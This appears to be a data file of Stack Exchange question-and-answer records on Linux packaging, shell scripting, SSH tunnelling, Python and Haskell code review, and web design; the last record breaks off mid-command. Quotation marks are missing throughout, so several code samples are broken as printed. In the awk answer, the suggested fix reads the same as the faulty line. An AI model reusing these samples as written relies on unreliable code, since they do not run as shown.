{  "id": "_unix.192884"  , "question": "What worked for other packages, doesn't work for kernel. Why?First, sync:[git@dioptase SRPMS]$ ssh root@localhost yum-builddep /home/git/rpmbuild/SRPMS/kernel-2.6.32-431.el6.src.rpmGetting requirements for kernel-2.6.32-431.el6.src --> Already installed : module-init-tools-3.9-21.el6_4.x86_64 --> Already installed : patch-2.6-6.el6.x86_64 --> Already installed : bash-4.1.2-15.el6_4.x86_64 --> Already installed : coreutils-8.4-31.el6.x86_64 --> Already installed : 2:tar-1.23-11.el6.x86_64 --> Already installed : bzip2-1.0.5-7.el6_0.x86_64 --> Already installed : 1:findutils-4.4.2-6.el6.x86_64 --> Already installed : gzip-1.3.12-19.el6_4.x86_64 --> Already installed : m4-1.4.13-5.el6.x86_64 --> Already installed : 4:perl-5.10.1-136.el6.x86_64 --> Already installed : 1:make-3.81-20.el6.x86_64 --> Already installed : diffutils-2.8.1-28.el6.x86_64 --> Already installed : gawk-3.1.7-10.el6.x86_64 --> Already installed : gcc-4.4.7-4.el6.x86_64 --> Already installed : binutils-2.20.51.0.2-5.36.el6.x86_64 --> Already installed : redhat-rpm-config-9.0.3-42.el6.noarch --> Already installed : net-tools-1.60-110.el6_2.x86_64 --> Already installed : patchutils-0.3.1-3.1.el6.x86_64 --> Already installed : rpm-build-4.8.0-37.el6.x86_64 --> Already installed : xmlto-0.0.23-3.el6.x86_64 --> Already installed : asciidoc-8.4.5-4.1.el6.noarch --> Already installed : gnupg2-2.0.14-6.el6_4.x86_64 --> Already installed : python-2.6.6-51.el6.x86_64 --> Already installed : hmaccalc-0.9.12-1.el6.x86_64No uninstalled build requiresThen build:[git@dioptase SRPMS]$ rpmbuild --rebuild kernel-2.6.32-431.el6.src.rpmInstalling kernel-2.6.32-431.el6.src.rpmwarning: user mockbuild does not exist - using rootwarning: group mockbuild does not exist - using rooterror: Failed build dependencies:        elfutils-libelf-devel is needed by kernel-2.6.32-431.el6.x86_64        elfutils-devel is needed by kernel-2.6.32-431.el6.x86_64        binutils-devel is needed by kernel-2.6.32-431.el6.x86_64        newt-devel is needed by kernel-2.6.32-431.el6.x86_64        python-devel is needed by kernel-2.6.32-431.el6.x86_64        audit-libs-devel is needed by kernel-2.6.32-431.el6.x86_64"  , "title": "Why doesn't yum-builddep install all dependencies?"  , "tags": "rhel;yum;rpm"  , "accepted_answer": "Because they are arch dependent. Either rebuild the .src.rpm on the arch. you care about (the one in the source repos. is built on a random supported arch), or download and unpuck the .src.rpm and yum-buildep on the kernel.spec."  } 
{  "id": "_softwareengineering.171024"  , "question": "It's an idea I've heard repeated in a handful of places. Some more or less acknowledging that once trying to solve a problem purely in SQL exceeds a certain level of complexity you should indeed be handling it in code.The logic behind the idea is that for the large majority of cases, the database engine will do a better job at finding the most efficient way of completing your task than you could in code. Especially when it comes to things like making the results conditional on operations performed on the data. Arguably with modern engines effectively JIT'ing + caching the compiled version of your query it'd make sense on the surface.The question is whether or not leveraging your database engine in this way is inherently bad design practice (and why). The lines become blurred further when all the logic exists inside the database and you're just hitting it via an ORM."  , "title": "Never do in code what you can get the SQL server to do well for you - Is this a recipe for a bad design?"  , "tags": "design patterns;sql"  , "accepted_answer": "In layman's words:These are things that SQL is made to do and, believe it or not, I've seen done in code:joins - codewise it'd require complex array manipulationfiltering data (where) - codewise it'd require heavy inserting and deleting  of items in listsselecting  columns - codewise it'd require heavy list or array manipulationaggregate functions - codewise it'd require arrays to hold values and complex switch casesforeign key integrity - codewise it'd require queries prior to insert and assumes nobody will use the data outside appprimary key integrity - codewise it'd require queries prior to insert and assumes nobody will use the data outside appDoing these things instead of relying in SQL or the RDBMS leads to writing tons of code with no added value, meaning more code to debug and maintain. And it dangerously assumes the database will only be accessed via the application."  } 
{  "id": "_unix.349074"  , "question": "I have this code where the cmd usually works if I sprintf something to it, but when I try to run my Rscript, it does not work. Any hints?I get the error:awk: cmd. line:9:         cmd = Rscript ./date-script-r.r $1 3 2 1;awk: cmd. line:9:                       ^ syntax errorawk: cmd. line:9:         cmd = Rscript ./date-script-r.r $1 3 2 1;awk: cmd. line:9:                         ^ unterminated regexpCode:awk=/usr/bin/awkawkcommand='#d is the delimiterBEGIN { OFS = FS = d }$1 {    #Expected args for the Rscript: (1, 2, 3, 4) = (dateString, yearPosition, monthPosition, dayPosition)    cmd = Rscript ./date-script-r.r $1 3 2 1;    cmd | getline $1;    print;    close(cmd);}awk -v d=, $awkcommand output-data/$filename > output-data/tmp.csvExample of R-script output:Rscript date-script-r.r 17-12-12 1 2 312-12-2017"  , "title": "Running R project script with arguments within AWK in a Bash Script (Ubuntu Linux)"  , "tags": "bash;awk;r"  , "accepted_answer": "replacecmd = Rscript ./date-script-r.r $1 3 2 1;bycmd = Rscript ./date-script-r.r  $1  3 2 1 ;for complex awk script it might be better to put them in a awk-script, e.g. date-awk.awk$1 {    #Expected args for the Rscript: (1, 2, 3, 4) = (dateString, yearPosition, monthPosition, dayPosition)    cmd = Rscript ./date-script-r.r  $1  3 2 1;    cmd | getline $1;    print;    close(cmd);}that you would call withawk  -F, -f date-awk.awk  output-data/$filename > output-data/tmp.csvnote that-F, will set , as separator, there is no need for a relay variable.I expect this is part of a bigger scheme, or self tutorial. (there are easier way to compute date in shell or in awk)."  } 
{  "id": "_codereview.11181"  , "question": "How can I improve this code for counting the number of bits of a positive integer n in Python?def bitcount(n):    a = 1    while 1<<a <= n:        a <<= 1    s = 0    while a>1:        a >>= 1        if n >= 1<<a:            n >>= a            s += a    if n>0:        s += 1    return s"  , "title": "Counting the number of bits of a positive integer"  , "tags": "python;algorithm;bitwise"  } 
{  "id": "_softwareengineering.356153"  , "question": "I am refactoring an application that collects and displays measurement data that is stored in a database. Currently I have an interface calleIMeasurementsDataService and an implementation MeasurementsDataServicepublic interface IMeasurementsDataService{  IEnumerable<MeasurementResult> GetResults(DateTime rangeStart, DateTime rangeEnd);  void AddResult(MeasurementResult result);  void ModifyResult(MeasurementResult result);  void DeleteMeasurement(MeasurementResult result);}Since the service is not used continiously, each method creates a DbContext instance and disposes it when finshed. For example the add method looks like this: public void AddResult(MeasurementResult newResult){  using (var context = new MeasurementsDbContext())  {    ...    context.SaveChanges();  }}I am injecting a singleton instance of MeasurementsDataService to some ViewModels and create Mocks of IMeasurementsDataService for unit tests.But now I want to add a new method to IMeasurementsDataService and want to also add unit tests. Until now I have used a local SQL server database that I always clear and prefill with some data before each unit test and then use the real MeasurementsDbContextto perform the test operations. But this approach is very time consuming and I would prefer to also mock the DbContext and provide some data directly from code. But when I change the code and inject the DbContext to the MeasurementsDataService, the DbContext lives through the whole livetime of the application what I consider as bad practise. Creating a new instance of IMeasurementsDataService every time I need it also seems not a solution because than I loose the ability to unit test the ViewModels properly. I am thinking of providing some kind of MeasurementDataServiceFactory to the ViewModels, that creates instances of the data service when requested and can be mocked to provide some different data service for testing. The the data service can have a DbContext per instance.Do you think this is a good solution or does anyone has a better and easier to handle solution to inject data services to view models and contexts to data services without having a DbContext living for the whole application runtime?"  , "title": "C# EntityFramework 6 DbContext and data service with dependency injection"  , "tags": "c#;unit testing;dependency injection;class design;entity framework"  } 
{  "id": "_webapps.88129"  , "question": "Is it possible to prevent YouTube's (HTML5) fullscreen player controls from showing whenever it first goes into fullscreen mode?Like, don't show this automatically (at all):I want it to still show if I move the mouse, as it does now.I couldn't find anything in about:config on Firefox about this, only settings to disable the fullscreen button and the 'this page is now in fullscreen' warning."  , "title": "Hide player controls while fullscreen in YouTube"  , "tags": "youtube"  } 
{  "id": "_unix.2645"  , "question": "I read uses of the word utilities for commands/programs such as 'ls', 'chmod', 'mv', etc.Is commands is Linux referring to the same things as top, ps, etc., or are those something different? What about programs? Are those the ones that don't come with the standard distribution which need to be installed like irssi, emacs, kismet, etc.?"  , "title": "Difference between references of Linux utilities, commands and programs"  , "tags": "command line;utilities;terminology"  , "accepted_answer": "This question is hard to answer, as there is no formal definitions of those terms and different people will use them differently. I here only give my use of them, others will have different points if view.For me tool and utility are synonyms. I use the words for small programs which just do one small job. I'd call e.g. all applications implemented as applets in busybox tools or utility.Any application is a program for me. I.e. 'ls' is a tool, a utility and a program. Firefox is a program but I wouldn't call it neither tool nor utility."  } 
{  "id": "_unix.88281"  , "question": "I want to check connectivity between 2 servers (i.e. if ssh will succeed).The main idea is to check the shortest way between server-a and server-b using a list of middle servers (for example if I'm on dev server and I want to connect to prod server - usually a direct ssh will fail).Because this can take a while, I prefer not to use SSH - rather I prefer to check first if I can connect and if so then try to connect through SSH.Some possible routes to get the idea:server-a -> server-bserver-a -> middle-server-1 -> server-bserver-a -> middle-server-6 -> server-bserver-a -> middle-server-3 -> middle-server-2 -> server-bHope you understand what I'm looking for?"  , "title": "Method to check connectivity to other server"  , "tags": "linux;networking;ssh"  , "accepted_answer": "For checking server connectivity you have 4 tools at your disposal.pingThis will check to see if any of the servers you're attempting to connect through, but won't be able to see if middle-server-1 can reach server-b, for example.You can gate how long ping will attempt to ping another server through the use of the count switch (-c). Limiting it to 1 should suffice.$ ping -c 1 skinnerPING skinner (192.168.1.3) 56(84) bytes of data.64 bytes from skinner (192.168.1.3): icmp_req=1 ttl=64 time=5.94 ms--- skinner ping statistics ---1 packets transmitted, 1 received, 0% packet loss, time 0msrtt min/avg/max/mdev = 5.946/5.946/5.946/0.000 msYou can check the status of this command through the use of this variable, $?. If it has the value 0 then it was successful, anything else and a problem occurred.$ echo $?0tracerouteAnother command you can use to check connectivity is traceroute.$ traceroute skinnertraceroute to skinner (192.168.1.3), 30 hops max, 60 byte packets1  skinner (192.168.1.3)  0.867 ms  0.859 ms  0.929 msAgain this tool will not show connectivity through one server to another (same issue as ping), but it will show you the path through the network that your taking to get to another server.sshssh can be used in BatchMode to test connectivity. With BatchMode=yes you'll attempt to connect to another server, bypassing the use of username/passwords and only public/private keys. This typically speeds things up quite a bit.$ ssh -o BatchMode=yes skinnerYou can construct a rough one liner that will check for connectivity to a server:$ ssh -q -o BatchMode=yes skinner echo 2>&1 && echo $host SSH_OK || echo $host SSH_NOKSSH_OKIf it works you'll get a SSH_OK message, if it fails you'll get a SSH_NOK message.An alternative to this method is to also include the ConnectTimeout option. This will guard the ssh client from taking a long time. Something like this typically is acceptable, ConnectTimeout=5. For example:$ ssh -o BatchMode=yes -o ConnectTimeout=5 skinner echo ok 2>&1okIf it fails it will look something like this:$ ssh -o BatchMode=yes -o ConnectTimeout=5 mungr echo ok 2>&1ssh: connect to host 192.168.1.2 port 22: No route to hostIt will also set the return status:$ echo $?255telnetYou can use this test to see if an ssh server is accessible on another server using just a basic telnet:$ echo quit | telnet skinner 22 2>/dev/null | grep ConnectedConnected to skinner."  } 
{  "id": "_unix.382143"  , "question": "I understand why hard links on directories are dangerous (loops, problems for rmdir because of the parent-directory-link) and have read the other questions on that topic. And so I assumed that hard links on directories apart from . and .. are not used. And yet I see the following on CentOS 5 & 6:# ls -id /etc/init.d/459259 /etc/init.d/# ls -id /etc/rc.d/init.d/459259 /etc/rc.d/init.d/# ls -id /etc/init.d/../458798 /etc/init.d/../# ls -id /etc/rc.d/458798 /etc/rc.d/# ls -id /etc/425985 /etc/In other words 2 different paths to directories pointing to the same inode and the parent of /etc/init.d/ pointing to /etc/rc.d/ instead of /etc/. Is this really a case of hard-linked directories? If not, what is it? If yes, why does Red Hat do that?Edit: I'm sorry for asking a stupid question, I should have been able to see that it's a symlink. Not enough coffee today, it seems."  , "title": "Is /etc/init.d hard-linked on CentOS?"  , "tags": "centos;hard link;sysvinit"  , "accepted_answer": "That's soft-link, not hard link. Symbolic links point to other files. Opening a symbolic link will open the file that the link points to. Removing a symbolic link with rm will remove the symbolic link itself, but not the actual file.This is indicated by the letter l at the beginning of the permissionslrwxrwxrwx.  1 root root     11 Aug 10  2016 init.d -> rc.d/init.dAlso all the rc0.d to rc6.d are symlinks to rc.d/rc0.d"  } 
{  "id": "_unix.14524"  , "question": "The list of uninstalled packages appearing in my aptitude is massive, but is full of packages that I'm very sure I will never ever install. E.g. my laptop is using intel graphics, so it doesn't make sense to install xserver-xorg-video-nouveau. Therefore I want to hide it forever. This is important while listing using !~i!~v, as it shows all packages available for installation (I still need to know the filter for packages with dependencies marked UNAVAILABLE), so if I can hide them, it's easier to find packages that I haven't tried out.How do I make it so, if possible, for the whole apt database to ignore the uninteresting packages?"  , "title": "How do I hide packages from appearing in apt system?"  , "tags": "apt;aptitude"  } 
{  "id": "_unix.84592"  , "question": "VirtualBox seems to break my SSH ProxyCommand... here are the details:I want to open an SSH connection from my laptop to desktop over an SSH (reverse) tunnel. I want to do that in one step using ProxyCommand (and netcat). It works when run from the installed OS on my laptop. It fails when run from a VirtualBox guest on my laptop.My normal setup is that Kubuntu 12.04 is running in VirtualBox on the desktop and Kubuntu 12.04 is installed directly on my laptop. This works fine.However, if I try to do the exact same thing with a Kubuntu 12.04 VirtualBox instance on my laptop, it fails as I will detail below.Here's what my SSH tunnel looks like:laptop--->nat--->middleman<--nat<--desktopThe desktop & laptop run Kubuntu 12.04 regardless of whether I'm using VirtualBox; and the middleman is Ubuntu 8.04. I'll describe my SSH tunnel in more detail. Regarding this leg:middleman<--nat<--desktop...here is how it is established:autossh -M 5234 -N -f -R 1234:localhost:22 user@middleman.comThat part is automatic and trouble-free.From the laptop:laptop--->nat--->middlemanI can connect to middleman and then from the middleman to the desktop in two steps under all conditions:me@laptop:~$ ssh -i ~/.ssh/id_rsa admin@middleman      admin@middleman:~$ ssh -i ~/.ssh/id_rsa localhost -p 1234To do this in one step I use netcat (nc) on middleman and I edit my SSH config file on laptop to use ProxyCommand and nc:me@laptop:~/.ssh$ nano configThe contents are:Host family_desktops  ProxyCommand ssh middleman_fqdn nc localhost %p  User admin  PasswordAuthentication no  IdentityFile ~/.ssh/my_id_rsaWhere middleman_fqdn is like middleman.comThen I just connect to desktop in one step:me@laptop:~$ ssh family_desktops -p 1234Here's the problem. This works when run directly from my laptop (where Kubuntu 12.04 is installed). But when I run it from VirtualBox instance of Kubuntu 12.04 (guest) on my laptop, it does not work. SSH asks for the password for middleman. There is no password set up, so I cannot connect. The strange thing is that running the two separate commands allows me to connect to my desktop and it doesn't ask for a password. The ssh -vvv option shows no errors and nothing helpful.I have been troubleshooting all day and I cannot find any difference in settings between the VirtualBox instance and the host OS on my laptop. I use the exact same id_rsa keys (public & private), the same user, and auth.log on the middleman server indicates it sees the same IP address in both cases. So why would running VirtualBox on my laptop make this SSH tunnel stop working (at least working in one step)?"  , "title": "SSH reverse tunnel works except when I use a VirtualBox instance at one end. Why does VB break SSH?"  , "tags": "ssh;virtualbox;proxy;ssh tunneling"  , "accepted_answer": "It appears that this was my problem:Bug #201786 ssh Agent admitted failure to sign using the key on... : Bugs : gnome-keyring package : Ubuntuhttps://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/201786To resolve my problem all I did was run ssh-add on the VirtualBox instance running on my laptop:ssh-add ~/.ssh/my_other_keywhich is the solution mentioned in this comment:https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/201786/comments/58I do not understand why the problems shows up only when running VirtualBox, but since some feel it is related to endian-ness, maybe that explains it in a very nebulous way. Anyway, that's resolved it for me."  } 
{  "id": "_codereview.90954"  , "question": "I recently came across the classic algorithm for detecting cycles in a directed graph using recursive DFS. This implementation makes use of a stack to track nodes currently being visited and an extra set of nodes which have already been explored. The second set is not strictly required, but it is an optimization to prevent iterating over path suffixes that have previously been determined not to be part of a cycle.I had no trouble implementing this in Python by simply creating a (mutable) set object and sharing it between all branches of the recursion.My attempt to reimplement this algorithm in Haskell turned out to be much worse (and still isn't as efficient as the original).I would like some pointers about how to restructure this so that it isn't a mess of recursive folds, but without giving up the set of visited, nodes, which lets me avoid taking branches that have already been explored.import Data.Maybeimport qualified Data.IntMap.Strict as Mimport qualified Data.Char as Cimport Debug.Traceedges :: Stringedges =  a b\\n\\  \\a c\\n\\  \\b c\\n\\  \\b d\\n\\  \\c d\\n\\  \\c e\\n\\  \\e f\\n\\  \\e g\\n\\  \\f g\\n\\  \\g ctype Node = IntparseGraph :: String -> M.IntMap [Node]parseGraph = foldr go M.empty . lines  where go line m = let [key, rule] = map ruleToKey (words line)                    in M.insertWith inserter key [rule] m        inserter [rule] olds = rule:oldsruleToKey :: String -> NoderuleToKey rule = C.ord (head rule) - 97keyToRule :: Node -> StringkeyToRule key = return $ C.chr (key + 97)hasCycle :: M.IntMap [Node] -> Maybe [Node]hasCycle m = reverse <$> ret  where dummyM = M.insert phantom (reverse $ M.keys m) m        phantom = -1        (_, _, ret) = hasCycleHelper dummyM phantom ([], [], Nothing)hasCycleHelper :: M.IntMap [Node] -> Node -> ([Node], [Node], Maybe [Node]) -> ([Node], [Node], Maybe [Node])hasCycleHelper rules rule (visited', visiting', cyc) =  trace rendered $    case () of      _ | isJust cyc || rule `elem` visited' -> (visited', visiting', cyc)        | rule `elem` visiting' -> ([], [], Just (takeWhile (/= rule) visiting' ++ [rule]))        | otherwise ->  returned  where    children = M.findWithDefault [] rule rules    (visited, _, ret) = foldr (hasCycleHelper rules) acc children    returned = (rule:visited, visiting', ret)    acc = (visited', rule:visiting', Nothing)    rendered =    Current ' ++ keyToRule rule ++ ',                ++ Visiting ' ++ map (head . keyToRule) visiting' ++ ',                ++ Visited ' ++ map (head . keyToRule) visited' ++ ',                ++ Found  ++ show (map (head . keyToRule) <$> cyc)main :: IO ()main = do  let rules = parseGraph edges      cyc = map keyToRule <$> hasCycle rules  print cycWith output:Current '`', Visiting '', Visited '', Found NothingCurrent 'a', Visiting '`', Visited '', Found NothingCurrent 'c', Visiting 'a`', Visited '', Found NothingCurrent 'e', Visiting 'ca`', Visited '', Found NothingCurrent 'g', Visiting 'eca`', Visited '', Found NothingCurrent 'c', Visiting 'geca`', Visited '', Found NothingCurrent 'f', Visiting 'eca`', Visited 'g', Found Just gecCurrent 'd', Visiting 'ca`', Visited 'eg', Found Just gecCurrent 'b', Visiting 'a`', Visited 'ceg', Found Just gecCurrent 'b', Visiting '`', Visited 'aceg', Found Just gecCurrent 'c', Visiting '`', Visited 'aceg', Found Just gecCurrent 'e', Visiting '`', Visited 'aceg', Found Just gecCurrent 'f', Visiting '`', Visited 'aceg', Found Just gecCurrent 'g', Visiting '`', Visited 'aceg', Found Just gecJust [c,e,g]Because I'm using foldr, it can't abort the search after discovering a cycle. It has to iterate over all the nodes in the graph at the top level, carrying along the result. I think that's pretty miserable, but I thought I'd ask about it before rewriting everything."  , "title": "Detecting cycles in a directed graph without using mutable sets of nodes"  , "tags": "haskell;functional programming;graph;depth first search;memoization"  , "accepted_answer": "An easy way to detect a cycle is through the implementation of a disjoint set structure, sometimes called a Union-Find structure. You start with a source node and attempt to add a node to that set.  If your   Find() call for the source node and the other node returns the same root node, then a cycle world result if the nodes are unioned.UPDATE:You could implement a topological sort, arranging the nodes with edges going from left to right. A topological sort can only be completed successfully if and only if the graph is a Directed Acyclic Graph. So, if the algorithm detects any cycles, it will stop.The runtime is O(|V| + |E|), which is better than DFS, in the case that repetition occurs during traversal.Topological Sorting"  } 
{  "id": "_unix.272800"  , "question": "I want to replace 0/1 with hetero but whenever I am trying to use the known commands it is showing syntax error because the / is aleady part of the command .. Can anyone suggest a command to solve this issue??"  , "title": "Find and replace in Linux"  , "tags": "find;command;replace"  } 
{  "id": "_codereview.111449"  , "question": "I've attempted a functional solution to Conway's Game of Life in Python.The example code allows you to see the next generation of the universe by calling the step() function, passing the current generation of the universe. The universe is represented as a set of live cells. Live cells are represented as a tuple of x, y coordinates.All suggestions for improvement are welcome. I'd especially like feedback on the following:Approach - is it functional? If not, why not?Test cases - are there any test case I've missed that highlight a bug? Can it be done with less test cases while maintaining the same code coverage?Python idioms and conventionsMaking use of built-in functions and datatypesimport unittestdef get_neighbours(x, y):    '''    Returns the set of the given cell's (x,y) 8 eight neighbours.     :param x: x coordinate of cell    :param y: y coordinate of cell    '''    return {(x + dx, y + dy) for dx, dy in [(-1, -1), (-1, 0), (-1, 1), (0, -1), (0, 1), (1, -1), (1, 0), (1, 1)]}def is_survivor(universe, x, y):    '''    Returns True if given cell will survive to the next generation, False otherwise.    :param universe: set of live cells in the universe. A live cell is the tuple (x,y)    :param x: x coordinate of cell    :param y: y coordinate of cell    '''    num_live_neighbours = len(get_neighbours(x, y) & universe)    return num_live_neighbours == 2 or num_live_neighbours == 3def is_born(universe, x, y):    '''    Returns True if given cell will be born in the next generation, False otherwise.     :param universe: set of live cells in the universe. A live cell is the tuple (x,y)    :param x: x coordinate of cell    :param y: y coordinate of cell    '''    return len(get_neighbours(x, y) & universe) == 3def step(universe):    '''    Returns the new universe after a single step in the game of life.    :param universe: set of live cells in the universe. A live cell is the tuple (x,y)    '''    survivors = { (x, y) for x, y in universe if is_survivor(universe, x, y) }    list_of_neighbour_sets = [get_neighbours(x, y) for x, y in universe]    flattened_neighbour_set = {item for subset in list_of_neighbour_sets for item in subset}    dead_neighbours = flattened_neighbour_set - universe    births = { (x, y) for x, y in dead_neighbours if is_born(universe, x, y) }    return survivors | birthsclass Test(unittest.TestCase):    def test_get_neigbours(self):        self.assertEqual({(-1, -1), (0, -1), (1, -1), (-1, 0), (1, 0), (-1, 1), (0, 1), (1, 1)}, get_neighbours(0, 0))        self.assertEqual({(4, 5), (4, 6), (4, 7), (5, 5), (5, 7), (6, 5), (6, 6), (6, 7)}, get_neighbours(5, 6))    def test_is_survivour_should_return_true_if_cell_has_2_live_neighbours(self):        self.assertTrue(is_survivor({(0, 0), (1, 0), (2, 0)}, 1, 0))    def test_is_survivour_should_return_true_if_cell_has_3_live_neighbours(self):        self.assertTrue(is_survivor({(0, 0), (1, 0), (0, 1), (1, 1)}, 0, 0))        self.assertTrue(is_survivor({(0, 0), (1, 0), (0, 1), (1, 1)}, 1, 0))        self.assertTrue(is_survivor({(0, 0), (1, 0), (0, 1), (1, 1)}, 0, 1))        self.assertTrue(is_survivor({(0, 0), (1, 0), (0, 1), (1, 1)}, 1, 1))    def test_is_survivour_should_return_false_if_cell_is_underpopulated(self):        self.assertFalse(is_survivor({(0, 0)}, 0, 0))    def test_is_survivour_should_return_false_if_cell_is_overpopulated(self):        self.assertFalse(is_survivor({(-1, -1), (0, -1), (1, -1), (-1, 0), (1, 0), (-1, 1), (0, 1), (1, 1)}, 0, 0))    def test_is_born_should_return_false_if_dead_cell_doesnt_have_exactly_3_live_neighbours(self):        self.assertFalse(is_born({(0, 0)}, 0, 0))    def test_is_born_should_return_true_if_dead_cell_has_exactly_3_live_neighbours(self):        self.assertTrue(is_born({(0, 0), (1, 0), (0, 1)}, 1, 1))    def test_L_becomes_block_after_step(self):        self.assertEqual({(0, 0), (1, 0), (0, 1), (1, 1)}, step({(0, 0), (0, 1), (1, 1)}))if __name__ == __main__:    unittest.main()"  , "title": "Game of Life rules in 14 lines of Python"  , "tags": "python;python 3.x;functional programming;game of life"  , "accepted_answer": "For docstrings, if you're following the Sphinx documentation format (which it looks like you are), you can specify an explicit :return: field to document what exactly it is your function is returning. PEP-0257 has various other conventions for docstrings like leaving a blank line between the summary line and the rest of the docstring, if you're really interested.In terms of functional programming, you could use some of Python's functional programming functions, e.g the builtins filter and map and also any functions from the functools module. Also, since you are already not mutating any of the variables in your program (as you wouldn't do when programming in a functional manner), you can use frozenset()s in place of where you're currently using sets, as frozen sets are explicitly immutable.Here is an attempt at functionifying the step function. Since Python 3, you can put type hints in the signature of functions, and since Python 3.5 you can also use the typing module to define types in a formal way, which can allow for better static type-checking if you're using a typing-aware IDE. Since you're wanting to program in a functional way, I'm guessing this would be of more interest than usual.from functools import reducefrom typing import Tuple, SetCell = Tuple[int, int]Universe = Set[Cell]  # or even FrozenSet[Cell]...def step(universe: Universe) -> Universe:     Evaluate the next step in the Game of Life.    :param universe: set of live cells in the universe. A live cell is the tuple (x,y)    :return: the new universe after a single step in the game of life.        survivors = filter(lambda cell: is_survivor(universe, *cell), universe)    neighbours = reduce(set.union, map(lambda cell: get_neighbours(*cell), universe))    dead_neighbours = filter(lambda cell: cell not in universe, neighbours)    births = filter(lambda cell: is_born(universe, *cell), dead_neighbours)    return frozenset(survivors) | frozenset(births)To be honest though, functional programming does not seem idiomatic in Python, even though it can be done; I would say your current code is pretty clear and idiomatic as is, using set comprehensions and such."  } 
{  "id": "_softwareengineering.103375"  , "question": "I have a couple of Python modules that are meant to be run as scripts. How should I write the docstrings at the module and function level to make it clear how to run and use the module?"  , "title": "How should I document a Python script?"  , "tags": "python;documentation"  } 
{  "id": "_webmaster.2938"  , "question": "i see many sites that have their heading as an image.  what is the benefit of this? when is a best practice to use text as images as opposed to just having text in my html.  is this just for supporting non standard fonts?"  , "title": "When should i consider having text as an image in my website heading"  , "tags": "website design;images"  , "accepted_answer": "Reasons to use an image header with text:The text isn't necessary for SEO.The font can't be reproduced on theweb.The text is integrated too closely with alogo to separate the two.Reasons to use text as your header:The text is necessary for SEO.The text needs to scale according tothe browser window.The text needs to scale according toan em-based font size.The text needs to be dynamic in any way.If you do use an image, consider using the  tag with an alt attribute rather than a CSS image. This is important for accessibility purposes, but it could also contribute to SEO."  } 
{  "id": "_webapps.62940"  , "question": "I'd like to align the titles in my swimlanes to the left side, but the collapse/expand buttons are hiding the words. Is there a way I can make that kind of button invisible?I've looked through the code that's editable and haven't found it there either. When I use element inspector it shows the collapse/expand button as being separate from the container it's attached to."  , "title": "Is there a way to hide the collapse/expand button in draw.io?"  , "tags": "draw.io"  , "accepted_answer": "Select the swimlane and on the menu invoke Arrange->CollapsibleTo toggle the collapse/expand button."  } 
{  "id": "_datascience.22118"  , "question": "Why do we need for Shortcut Connections to build Residual Networks, and how it help to train neural networks for classification and detection?"  , "title": "Why do we need for Shortcut Connections to build Residual Networks?"  , "tags": "machine learning;neural network;deep learning;computer vision;caffe"  } 
{  "id": "_unix.332347"  , "question": "I have these results from find:$ find subprojects -mindepth 1 -maxdepth 1subprojects/install-globally-firstsubprojects/installation-test-project-custom-configsubprojects/install-via-githubsubprojects/init-from-nothingsubprojects/node-path-testsubprojects/install-globally-with-nvmsubprojects/installation-test-projectsubprojects/parallel-installs-of-sumanI want to map these results to:subprojects/install-globally-first/test.shsubprojects/installation-test-project-custom-config/test.shsubprojects/install-via-github/test.shsubprojects/init-from-nothing/test.shsubprojects/node-path-test/test.shsubprojects/install-globally-with-nvm/test.shsubprojects/installation-test-project/test.shsubprojects/parallel-installs-of-suman/test.sh(All I am doing in this case is appending /test.sh to the results...I am sure a good solution is something like:$ find subprojects -mindepth 1 -maxdepth 1 | something (?)but I don't know what it would be! Pretty newby here. Probably more than one way to do it, looking for simplest most robust solution I guess.Note that since the test.sh files already exist in these paths, I could just to do this:find subprojects -mindepth 2 -maxdepth 2 -name test.shBut I guess I am looking for away to do that, assuming these test.sh files don't exist yet on the filesystem."  , "title": "map the results from find"  , "tags": "find;pipe;xargs"  } 
{  "id": "_cstheory.31652"  , "question": "I'm reading Ankur Moitra's excellent lectures notes at http://people.csail.mit.edu/moitra/docs/bookex.pdf .In Chapter4, the notes claim that a certain circulant matrix of fourier coefficients is invertible [left as exercise to reader, and I can't find the footnote]. I can not prove it. I'm also not convinced it's true. The pages are attached. Any pointers as to what I should read up on would be helpful.Thanks!EDIT: Images are high resolution. Click open image in new tab."  , "title": "Inverting Matrix in Prony's Algorithm"  , "tags": "linear algebra"  } 
{  "id": "_unix.293191"  , "question": "I'm writing a small script that will help me debug some permission problems.  I am passing the parent folder I wish to examine and am able to specify any sub-folders which I want to ignore.I'm having a problem passing the constructed parameter string to find because some parts of it (the are being escaped.  I can't seem to figure out how to provide the wildcard into the command in such a way that find accepts it properly.  With the wildcard in place, that portion of the path string is qualified using single quotes that are escaped using '\\'' and are confusing me (as I can't figure out how to control the transformation) and find (which is essentially ignoring my excludes)I've been reading all about single and double quotes as well as escaping characters, but I haven't found an example similar to mine.#!/bin/bash -f# output permissions and ownership with path relative to specified parent.Usage=$0 <parent path> <excluded child folder> ....if [ $# -lt 1 ]then    (>&2 echo -e $Usage)    exit 1else     parent=$1    shift    if [ $# -gt 0 ]    then        excludes= (        for folder in $@        do            thisLine= ! -path $parent$folder ! -path '$parent$folder/*'    <=== the '*' wildcard is causing the problem I think.            excludes=$excludes$thisLine        done        excludes=$excludes )    fi    (>&2 echo => find $parent $excludes -ls | awk '{print '$3|$5|$6|$11}'')    (>&2 echo )set -vx    find $parent $excludes -ls | awk '{print $3|$5|$6|$11}'fiThe branch of the tree that I'm working with is /home/user/catkin_ws/src/clfsm which has three sub-folders, two of which I wish to exclude; cmake & include.  The output below is in two parts:  Top is the current output, which does not filter the folders I wish to exclude.  The bottom part is correct, using the echoed command line from my code above.The command to call the above script is:~/myScripts/show_permissions.sh /media/nap/U14041/home/nap/catkin_ws/src/clfsm /cmake /include. Note that Stephen's solution requires that the sub-folders to be excluded be specified without a leading /.user@rMBP-Ubuntu:[12:29]:/home/user/catkin_ws/src/clfsm$ ~/myScripts/show_permissions.sh /home/user/catkin_ws/src/clfsm /cmake /include=> find /home/user/catkin_ws/src/clfsm  ( ! -path /home/user/catkin_ws/src/clfsm/cmake ! -path '/home/user/catkin_ws/src/clfsm/cmake/*' ! -path /home/user/catkin_ws/src/clfsm/include ! -path '/home/user/catkin_ws/src/clfsm/include/*' ) -ls | awk '{print $3|$5|$6|$11}'++ find /home/user/catkin_ws/src/clfsm '(' '!' -path /home/user/catkin_ws/src/clfsm/cmake '!' -path ''\\''/home/user/catkin_ws/src/clfsm/cmake/*'\\''' '!' -path /home/user/catkin_ws/src/clfsm/include '!' -path ''\\''/home/user/catkin_ws/src/clfsm/include/*'\\''' ')' -ls++ awk '{print 